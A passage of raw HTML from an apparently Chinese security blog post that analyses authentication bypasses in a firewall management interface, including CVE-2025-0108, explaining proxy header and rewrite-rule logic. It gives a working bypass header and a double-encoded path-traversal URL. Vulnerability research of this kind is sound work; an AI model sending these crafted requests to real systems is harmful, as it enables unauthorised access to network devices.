hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">因此猜测当以</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.js.map</span></code><span leaf="">结尾的请求，如果设置</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">X-pan-AuthCheck</span></code><span leaf="">头为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">off</span></code><span leaf="">可绕过认证。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">未授权访问将跳转到登录页面：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008123" data-ratio="0.29365853658536584" data-type="png" data-w="1025" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=735d7268&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAweahwSPNYmvU5bL3LvHoCS7W9aSk7enZjt9nuyIiaWCXG7ZYh6v2z79bRgPmEnIGfSbWaicOkvCVTA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">认证绕过：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008125" data-ratio="0.28167641325536064" data-type="png" data-w="1026" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=30ece92d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAweahwSPNYmvU5bL3LvHoCSsmu9t7FVz6QmEsaQDWvXDkkeiaHSsUxbe4swa7XOAo3JHxxG3jLo8icw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">所以对于</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">php</span></code><span leaf="">请求，结尾加上</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.js.map</span></code><span leaf="">，并添加</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">X-pan-AuthCheck: off</span></code><span leaf="">请求头可绕过认证 （因为此时</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$panAuthCheck</span></code><span leaf="">并未赋值 ）。</span></p><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 19.2px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">CVE-2025-0108</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">当</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">X-pan-AuthCheck</span></code><span leaf="">设置为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">off</span></code><span leaf="">时，表示无需认证可直接访问。在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">proxy_default.conf</span></code><span leaf="">配置文件开头已经设置其为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">On</span></code><span leaf="">，但是</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf="">以</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/unauth</span></code><span leaf="">开头、或者等于</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/php/logout.php</span></code><span leaf="">等将覆盖设置为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">off</span></code><span leaf="">：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008122" data-ratio="0.39980353634577603" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=9de438ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAweahwSPNYmvU5bL3LvHoCSmiadBVYHyeNP0IpnsUIicvRHqIOBzfcueKLRibOCuG80H8EDn2OG65ibLw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">是否可以找到一个以</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/unauth</span></code><span leaf="">开头，然后结合</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">../</span></code><span leaf="">实现认证绕过呢？注意到在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache httpd</span></code><span leaf="">的配置文件</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">httpd.conf</span></code><span leaf="">中存在一个</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RewriteRule</span></code><span leaf="">规则，将包含</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/PAN_help/</span></code><span leaf="">的静态资源请求进行重写：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008121" data-ratio="0.20961538461538462" data-type="png" data-w="1040" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=56e2c608&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAweahwSPNYmvU5bL3LvHoCStgEFJGCCblBR2rSBPmicfz2nEVIvZHJ1VXH6GzFEaJ5I286ibiaRqrJDA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">组合起来看，假如构造如下请求：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.96px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">/unauth/%252e%252e/php/utils/user.preference.php/PAN_help/test.js</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">第一步</span></strong><span leaf="">，经过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Ngnix</span></code><span leaf="">反向代理时将进行一次</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf="">解码，此时因为请求以</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/unauth/</span></code><span leaf="">开头，所以</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$panAuthCheck</span></code><span leaf="">赋值为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">off</span></code><span leaf="">，发给</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans 